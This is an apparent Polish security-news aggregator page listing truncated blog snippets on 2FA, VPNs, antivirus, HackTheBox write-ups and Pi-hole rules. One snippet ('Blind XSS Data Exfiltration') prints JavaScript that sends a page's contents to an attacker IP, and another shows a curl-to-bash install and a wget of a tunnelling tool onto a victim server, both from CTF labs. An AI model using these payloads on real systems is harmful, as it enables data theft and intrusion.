Serwisy SEC

Weryfikacja dwuetapowa (2FA): Jak zabezpieczyć kon...

kwestiabezpieczenstwa.pl 4 lat temu Weryfikacja dwuetapowa (2FA) - wszystko o uwierzytelnianiu dwuskładnikowym. Porównanie metod: e-mail, kody SMS, kody czasowe w aplikacji, klucz U2F. Co wybrać i jak zabezpieczyć konta? Sprawdzam!

Arcabit chroni Windows 11

arcabit.pl 4 lat temu Microsoft zaprezentował nową wersję systemu Windows 11. Pakiet Arcabit pracuje w nowym systemie bez zarzutu. Maszyny z Windows 11 dołączyły do naszej farmy komputerów testowych Pierwsze spojrzenie na Windows 11: Arcabit zainstalowany, aktywny, gotowy...

Jak wirusy wyłączają filtr SmartScreen?

payload.pl 4 lat temu Filtr SmartScreen wbudowany w Windows 10 pomaga chronić komputer przed złośliwymi stronami, oraz już pobranym złośliwym oprogramowaniem. Pomaga, dopóki nie zostanie przez takie oprogramowanie wyłączony. W tym artykule pokażemy, jak to robi realny wir...

CFP Secure 2021

cert.pl 4 lat temu Rozpoczynamy poszukiwanie prelegentów na tegoroczną edycję konferencji SECURE. Należysz do ludzi, którzy cenią sobie ciężką pracę i mierzenie się z wyzwaniami? Chcesz spotkać podobnych sobie zapaleńców, podzielić się wynikami pracy, poszukać inspirac...

Ciekawe linki [aktualizacja 27.06.2022]

payload.pl 4 lat temu W tym zbiorczym artykule publikujemy zbiór linków do narzędzi, tekstów i innych materiałów, które naszym zdaniem są warte przeczytania i mieszczą się w tematyce PAYLOAD, ale nie znajdziemy czasu w poświęcenie im osobnych artykułów.

#024: Nasze backupy

bezpieczny.blog 4 lat temu Na przeczytanie potrzebujesz < 1 minutę. Ludzie dzielą się na tych, co robią backupy i na tych, co będą je robić ? Jest wiele różnych metod robienia backupów. Niektóre prostsze, niektóre trudniejsze, mniej lub bardziej paranoiczne. W tym odcinku.....

Winget – aktualizacja systemu innych firm jak Micr...

antynet.pl 4 lat temu Automatyczna aktualizacja systemu innych firm jak Microsoft to bez wątpienia pozytywne naśladownictwo rozwiązań rodem z Linux. Uruchamiamy cmd jako administrator i wykonujemy polecenie: winget upgrade –all Fajna sprawa 😉.

DNS: co to jest? Jak działa? Jak wybrać i zmienić ...

kwestiabezpieczenstwa.pl 4 lat temu Co to są serwery DNS? Jak działają? Co mają wspólnego z bezpieczeństwem, prywatnością i cenzurą w sieci? Jak wybrać i zmienić DNS-y?

Jak wirusy wyłączają Windows Defendera?

payload.pl 4 lat temu Pewnie niejednokrotnie czytałeś artykuły o tym, iż Windows Defender jest najlepszym (czy wręcz jedynym potrzebnym) programem antywirusowym, bo jest ściśle zintegrowany z Windows. A z drugiej strony teksty, iż antywirusy komercyjne biją go na głowę. K...

Cyfrowa suwerenność Europy. Gość: Marcin Zmaczyńsk...

feeds.buzzsprout.com 4 lat temu Witam w sto szesnastym odcinku podcastu "Porozmawiajmy o IT". Tematem dzisiejszej rozmowy jest cyfrowa suwerenność Europy.Dziś moim gościem jest Marcin Zmaczyński – Head of Marketing CEE w Aruba Cloud. Doświadczony manager odpowiedzialny za rozwiązan...

ARP poisoining + AS-REQ cracking

how2hax.pl 4 lat temu Dzień dobry. Dziś chciałbym poruszyć temat bezpieczeństwa sieci lokalnych i pokazać jeden z kilku tzw. low-hanging fruits, po które łatwo sięgnąć gdy znajdziemy się już w interesującym dla nas segmencie sieci: LLMNR NBNS (NetBIOS Name Service) ARP po...

Fastify + Hotwire - nowy (lepszy?) pomysł na front...

fsgeek.pl 4 lat temu Obstawiam, iż 90% aktualnie tworzonych aplikacji opiera się na podział frontend, backend i przesył danych pomiędzy nimi w postaci JSON'a. Frontend prosi o dane i gdy je otrzymuje, to odpowiednio modyfikuje wygląd strony. A może można przesyłać coś in...

Planujemy wielki atak – wstęp

payload.pl 4 lat temu Tym artykułem rozpoczynamy nowy cykl, w którym objaśnimy krok po kroku, w jaki sposób zabrać się za zaatakowanie i wyprowadzenie danych z większej firmy - ale zanim przejdziemy do konkretów, musimy sobie wyjaśnić kilka podstawowych spraw.

Czemu, jak wpisuję błędne hasło przy logowaniu do ...

bezpieczny.blog 4 lat temu Na przeczytanie potrzebujesz 3 minut(y). Nasza czytelniczka Magda (imię zmienione) korzysta z bankowości internetowej jednego z polskich banków. Zgodnie z naszymi radami używa skomplikowanego, unikalnego hasła i dwuskładnikowego uwierzytelnienia(PUSH...

Co to jest VPN? 8 porad jak wybrać VPN, aby być be...

kwestiabezpieczenstwa.pl 4 lat temu Kompendium wiedzy o VPN: Co to jest? Jak działa? Dlaczego warto używać VPN? Jak wybrać odpowiedni VPN? + dodatkowo moja rekomendacja najlepszego VPN-a.

Eskalacja uprawnień: CVE-2019-1315 + CVE-2020-1170...

how2hax.pl 4 lat temu Cześć ? Poniższy wpis stanowi kontynuację poprzedniego artykułu o Windows Defenderze. W poprzednim artykule udało się nam doprowadzić do sytuacji w której możemy swobodnie usuwać zawartości wybranych przez nas folderów. W tym odcinku postaramy się pó...

Nowa wersja programu Arcabit

arcabit.pl 4 lat temu Trochę to trwało, mnóstwo programisto-testero-roboczogodzin upłynęło, ale już jest - całkowicie nowa wersja programu Arcabit.Udostępniliśmy również mechanizm szybkiej, automatycznej migracji do najnowszej wersji. Zachęcamy do zapoznania się z nową we...

10 lat więzienia dla cyberprzestępcy z grupy FIN7

bothunters.pl 4 lat temu Wydano wyrok na 35-latka pochodzenia ukraińskiego, który był członkiem zorganizowanej grupy cyberprzestępczej FIN7. Wyrok to 10 lat pozbawienia wolności. Dodatkowo sędzia nakazał zapłacić 2,5 miliona dolarów odszkodowania. Grupa, w której uczestniczy...

Co z Rębaczami?

rebacze.pl 4 lat temu Co jakiś czas dostaję pytania – a co z Rębaczami? Odpowiadając krótko – na razie projekt jest w zawieszeniu, bo rozważam zmianę formuły. Ale – jak zwykle – wyjdzie w ….

Co z Rębaczami?

Sprawdź, czy wyciekł twój telefon

rebacze.pl 4 lat temu W weekend świat obiegła informacja, iż dostępna komercyjnie (i w darknecie) baza danych użytkowników Facebooka, zawierająca 533 milionów rekordów, została umieszczona za darmo w sieci. Zawierająca podstawowe informacje użytkowników baza ….

Rozmowa kontrolowana #53. Wywiad dla Z3S

randomseed.pl 4 lat temu W świąteczną niedzielę redaktorzy serwisu Zaufana Trzecia Strona – Adam Haertle i Adam Lange – przeprowadzili wielotematyczną rozmowę z Pawłem Wilkiem. Można posłuchać i pooglądać odpowiedzi dotyczących programowania zorientowanego na dane, eDiscover...

Menedżer haseł: wszystko, co musisz wiedzieć o bez...

kwestiabezpieczenstwa.pl 4 lat temu Jak zabezpieczyć swoje hasła przy pomocy menedżera haseł? Jak działają menedżery, co oferują, jak ich używać, który wybrać? Sprawdzam.

Infrastruktura IT dla Domu Maklerskiego – case stu...

dataspace.pl 4 lat temu Sprawdź jakie środowisko IT przygotowaliśmy dla jednego z największych graczy w branży finansowej.

Handling Celery events (EN)

vilya.pl 4 lat temu The code used in this article was written for Celery 5.0.5 but it should work with older versions as well (4.1.1 and higher). It’s available on GitHub. According to the Celery official documentation, a worker is able to generate...

Blind XSS Data Exfiltration

blaszczakm.blogspot.com 4 lat temu cat 2.js var xhr=new XMLHttpRequest(); xhr.open("GET", 'http://gym-club..htb/security_threat/report.php', false); xhr.send();var xhr2=new XMLHttpRequest(); xhr2.open("GET", "http://10.10.14.121/aaaa?=" + btoa(xhr.responseText), false); xhr2.send(); └...

Firestore - tworzenie, modyfikowanie i usuwanie da...

fsgeek.pl 4 lat temu Przy bazie danych równie istotne, jak pobieranie danych, jest również ich tworzenie. Do podstawowych operacji możemy zaliczyć tworzenie, edycję i usuwanie dokumentów oraz kolekcji. W przypadku Firestore jest kilka rozwiązań, które mogą zdziwić. Szcze...

Twoje hasła w końcu bezpieczne! Poradnik bezpiecze...

kwestiabezpieczenstwa.pl 4 lat temu Jak stworzyć silne, mocne i trudne do złamania hasło? Poznaj TOP 100 najpopularniejszych haseł w Polsce. Dowiedz się, jak łamane są hasła. Czy mierniki i testery siły hasła działają? Po co Ci kostka do gry i dlaczego musisz pamiętać...

Jak zrobić DDOS na ETH?

chaindev.pl 4 lat temu

Jak zrobić DDOS na ETH?

chaindev.pl 4 lat temu

Writeup: Maszyna HackTheBox Doctor

whitehatlab.eu 4 lat temu 1. TLDR 2. Przygotowanie Przygotowałem przydatne zmienne: export IP=10.10.10.209 3. Skanowanie i rozpoznanie Na początku uruchomiłem skanowanie narzędziem nmap w celu ujawnienia i identyfikacji usług, które zostały uruchomione na 1000 najbardziej pop...

O WAF – Web Application Firewall z Arturem Pajkert...

maciejkuchnik.pl 4 lat temu W tym odcinku Artur Pajkert wprowadza nas w zagadnienia związane z Web Application Firewall. W ponad godzinnym odcinku, Artur opowiada o rozwiązaniu, które każdego dnia chroni strony hostowane na cyberfolks.pl.

New Cheatsheet XSS 2021

blaszczakm.blogspot.com 4 lat temu https://netsec.expert/posts/xss-in-2021/

Wyjątki. Czego unikać?

bdabek.pl 4 lat temu Java pozwala nam na używanie wyjątków do czego sobie zapragniemy. Jako developerzy wiemy natomiast, iż wyjątki służą do sytuacji wyjątkowych i mamy do nich jakiś szacunek. Jednak, kiedy przychodzi do zaprojektowania pewnej części systemu zdarza nam s...

Wyjątki. Czego unikać?

"Nie będziemy negocjować" - casus CD Projekt RED

sasmaczyliblogbezpiecznika.blogspot.com 4 lat temu Najpierw parę faktów 09.02.2021 roku CD Projekt RED poinformował, iż został zhakowany, część urządzeń zaszyfrowana, skradzione zostały kody źródłowe kluczowych gier oraz duża ilość dokumentów.Przestępcy zażądali okupu grożąc ujawnieniem skradzionych...

Writeup: Maszyna HackTheBox Worker

whitehatlab.eu 4 lat temu 1. TLDR 2. Przygotowanie Przygotowałem przydatne zmienne: export IP=10.10.10.203 3. Skanowanie i rozpoznanie Na początku użyłem narzędzia nmap do identyfikacji otwartych portów: ┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker] └──╼...

Writeup: Maszyna HackTheBox Omni

whitehatlab.eu 4 lat temu 1. TLDR 2. Przygotowanie Przygotowałem przydatne zmienne: export IP=10.10.10.204 3. Skanowanie i rozpoznanie Na początek użyłem narzędzia nmap do identyfikacji otwartych portów: ┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni] └──╼ $nm...

TCP/UDP reverse tunnel, transported over HTTP, sec...

blaszczakm.blogspot.com 4 lat temu #### CHISEL INSTALL curl https://i.jpillora.com/chisel! | bash ## copy to victim server: www-data@passage:/tmp$ wget http://10.10.14.143/chisel wget http://10.10.14.143/chisel --2021-01-25 08:55:34-- http://10.10.14.143/chisel Connecting to 10.10.1...

Red Team Notes 2.0

blaszczakm.blogspot.com 4 lat temu https://dmcxblue.gitbook.io/red-team-notes-2-0/

Pihole – Cert Hole itp

antynet.pl 4 lat temu DNS Hole od kilkunastu lat jest wykorzystywane do wielu celów. Zwykle do blokowania reklam na portalach, usług śledzących itp. Jednakże dożyliśmy takich czasów, iż DNS Hole coraz częściej wykorzystywane jest do zapewnienia bezpieczeństwa użytkownikó...

Redis. Wprowadzenie Dla Początkujących

bdabek.pl 4 lat temu Redis jest popularnym projektem open sourcowym, który od roku 2013 zyskuje coraz to większą i większą rozpoznawalność w światku IT. Dziś, w roku 2021, Redis jest znany jako NoSQL-owa baza danych klucz-wartość działająca w pamięci, a jej najpopularnie...

Redis. Wprowadzenie Dla Początkujących

Serwery dla integratora systemu ERP enova365 – cas...

dataspace.pl 4 lat temu Systemy ERP są krwioobiegiem nowoczesnej firmy, żeby działały w sposób optymalny muszą dysponować odpowiednią infrastrukturą - sprawdź jakie środowisko przygotowaliśmy dla integratora COM@COM.

Pihole – regexp

antynet.pl 4 lat temu Jeśli ktoś korzysta z PiHole to podaję swoje regexp. Opracowane na podstawie własnych analiz ruchu itp. Domeny wyłapane w ruchu ISP Debacom Zabrze: [0-9a-za-z]{13-18}\.tickets [0-9a-za-z]{13-18}\.blackfriday v1\.[a-uw-z]{7}\.ru v[12]{1}\.[a-uw-z]{7}\...

Random:view #003 – Crosscast Cyber, Cyber… 113: Ro...

randomseed.pl 4 lat temu Rozmowa Mirosława Maja i Łukasza Jachowicza z Pawłem Wilkiem na temat reverse engineeringu szczepionki przeciwko SARS-CoV-2 w ramach podcastu Cyber, Cyber… Fundacji Bezpieczna Cyberprzestrzeń.

MAC address c8:93:46 – ZeverSolar

antynet.pl 4 lat temu Robiłem porządki w swojej sieci domowej. Napotkałem na problem, adres mac: c8:93:46:36:10:1c Gadatliwe to nie było, porty pozamykane. MAC address określał producenta: "MXCHIP Company Limited" Wiele to nie dało, poza tym iż trop kierował na IoT. Poni...

Kalendarium - przegląd wydarzeń z 2020 roku

zawszeczujni.pl 4 lat temu 2020 rok już za nami, dlatego zdecydowaliśmy się przypomnieć naszym czytelnikom niektóre ważne wydarzenia dotyczące służb specjalnych oraz branży IT, tworząc mini kalendarium 2020 roku:

Ataki AIR-FI. RAM jako nadajnik radiowy

randomseed.pl 4 lat temu Szyny danych w pamięciach RAM współczesnych komputerów osiągnęły takie częstotliwości pracy, iż możliwe jest używanie ich w roli nadajników radiowych, a co za tym idzie wykorzystywanie do wykradania danych, choćby wtedy, gdy komputer jest odłączony o...

Serwisy SEC

Weryfikacja dwuetapowa (2FA): Jak zabezpieczyć kon...

Arcabit chroni Windows 11

Jak wirusy wyłączają filtr SmartScreen?

CFP Secure 2021

Ciekawe linki [aktualizacja 27.06.2022]

#024: Nasze backupy

Winget – aktualizacja systemu innych firm jak Micr...

DNS: co to jest? Jak działa? Jak wybrać i zmienić ...

Jak wirusy wyłączają Windows Defendera?

Cyfrowa suwerenność Europy. Gość: Marcin Zmaczyńsk...

ARP poisoining + AS-REQ cracking

Fastify + Hotwire - nowy (lepszy?) pomysł na front...

Planujemy wielki atak – wstęp

Czemu, jak wpisuję błędne hasło przy logowaniu do ...

Co to jest VPN? 8 porad jak wybrać VPN, aby być be...

Eskalacja uprawnień: CVE-2019-1315 + CVE-2020-1170...

Nowa wersja programu Arcabit

10 lat więzienia dla cyberprzestępcy z grupy FIN7

Co z Rębaczami?

Co z Rębaczami?

Co z Rębaczami?

Sprawdź, czy wyciekł twój telefon

Rozmowa kontrolowana #53. Wywiad dla Z3S

Menedżer haseł: wszystko, co musisz wiedzieć o bez...

Infrastruktura IT dla Domu Maklerskiego – case stu...

Handling Celery events (EN)

Blind XSS Data Exfiltration

Firestore - tworzenie, modyfikowanie i usuwanie da...

Twoje hasła w końcu bezpieczne! Poradnik bezpiecze...

Jak zrobić DDOS na ETH?

Jak zrobić DDOS na ETH?

Writeup: Maszyna HackTheBox Doctor

O WAF – Web Application Firewall z Arturem Pajkert...

New Cheatsheet XSS 2021

Wyjątki. Czego unikać?

Wyjątki. Czego unikać?

"Nie będziemy negocjować" - casus CD Projekt RED

Writeup: Maszyna HackTheBox Worker

Writeup: Maszyna HackTheBox Omni

TCP/UDP reverse tunnel, transported over HTTP, sec...

Red Team Notes 2.0

Pihole – Cert Hole itp

Redis. Wprowadzenie Dla Początkujących

Redis. Wprowadzenie Dla Początkujących

Serwery dla integratora systemu ERP enova365 – cas...

Pihole – regexp

Random:view #003 – Crosscast Cyber, Cyber… 113: Ro...

MAC address c8:93:46 – ZeverSolar

Kalendarium - przegląd wydarzeń z 2020 roku

Ataki AIR-FI. RAM jako nadajnik radiowy

Popularne

Nauczyciele się sprzeciwiają, ale MEN ma swoje plany. Ten ob...

W piątek na Wyborcza.pl. Szkoła strachu. Oto cena awansu w r...

Po 25 września też można wypisać dziecko z EZ!

Ferie zimowe 2026. Ministerstwo ogłosiło nowe terminy, są zm...

Pierwsza taka w Europie – OPPO Experience Zone otwarta w kra...